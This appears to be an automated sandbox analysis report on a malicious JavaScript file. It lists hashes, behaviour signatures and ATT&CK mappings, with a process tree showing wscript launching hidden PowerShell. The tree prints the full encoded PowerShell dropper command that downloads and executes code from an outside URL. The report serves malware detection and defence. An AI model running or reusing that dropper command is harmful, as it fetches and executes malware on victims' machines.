39210c5a9d6a3000c5ba162d01a4ac8c8187c2e8a83a4272aa1dcf7a714ee51d

Analysis

max time kernel
117s
max time network
128s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
19/01/2024, 18:12

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General

Target

684ccc041b42d9017544a7c7c47e432b.js
Size

366KB
MD5

684ccc041b42d9017544a7c7c47e432b
SHA1

792cddbcfc18d0598aa475d62c7e84c443ce7532
SHA256

39210c5a9d6a3000c5ba162d01a4ac8c8187c2e8a83a4272aa1dcf7a714ee51d
SHA512

967e6a45a7887d04ca1a9d1084ab774b34dc76cc8c6e3e8ba383fd08e4f604cbf60a7ffdc0335693957e281a24175671c4117b1e45c3ac985724c36b6ad07e40
SSDEEP

6144:0Xt/0D8dhYBtPfgN7ss4e6uK+18CDyOscsyiDdXxVxDtV1m6IFPCGKaFHuEW8SB2:0Xt8D8dqfgNOYK+ucKxx13xytFOEwBYx

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://jolantagraban.pl/log/57843441668980/dll/assistant.php

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	2848	powershell.exe
6	2848	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2848	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2848	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2004 wrote to memory of 2860	2004	wscript.exe	27
PID 2004 wrote to memory of 2860	2004	wscript.exe	27
PID 2004 wrote to memory of 2860	2004	wscript.exe	27
PID 2860 wrote to memory of 2848	2860	cmd.exe	29
PID 2860 wrote to memory of 2848	2860	cmd.exe	29
PID 2860 wrote to memory of 2848	2860	cmd.exe	29

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\684ccc041b42d9017544a7c7c47e432b.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2004
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwBqAG8AbABhAG4AdABhAGcAcgBhAGIAYQBuAC4AcABsAC8AbABvAGcALwA1ADcAOAA0ADMANAA0ADEANgA2ADgAOQA4ADAALwBkAGwAbAAvAGEAcwBzAGkAcwB0AGEAbgB0AC4AcABoAHAAIgApAA==
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2860
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwBqAG8AbABhAG4AdABhAGcAcgBhAGIAYQBuAC4AcABsAC8AbABvAGcALwA1ADcAOAA0ADMANAA0ADEANgA2ADgAOQA4ADAALwBkAGwAbAAvAGEAcwBzAGkAcwB0AGEAbgB0AC4AcABoAHAAIgApAA==
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2848

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2848-5-0x000000001B2E0000-0x000000001B5C2000-memory.dmp

Filesize
2.9MB

Download
memory/2848-6-0x0000000002290000-0x0000000002298000-memory.dmp

Filesize
32KB

Download
memory/2848-7-0x000007FEF5490000-0x000007FEF5E2D000-memory.dmp

Filesize
9.6MB

Download
memory/2848-8-0x0000000002740000-0x00000000027C0000-memory.dmp

Filesize
512KB

Download
memory/2848-9-0x000007FEF5490000-0x000007FEF5E2D000-memory.dmp

Filesize
9.6MB

Download
memory/2848-11-0x0000000002740000-0x00000000027C0000-memory.dmp

Filesize
512KB

Download
memory/2848-12-0x0000000002740000-0x00000000027C0000-memory.dmp

Filesize
512KB

Download
memory/2848-10-0x0000000002740000-0x00000000027C0000-memory.dmp

Filesize
512KB

Download
memory/2848-13-0x0000000002740000-0x00000000027C0000-memory.dmp

Filesize
512KB

Download
memory/2848-14-0x000007FEF5490000-0x000007FEF5E2D000-memory.dmp

Filesize
9.6MB

Download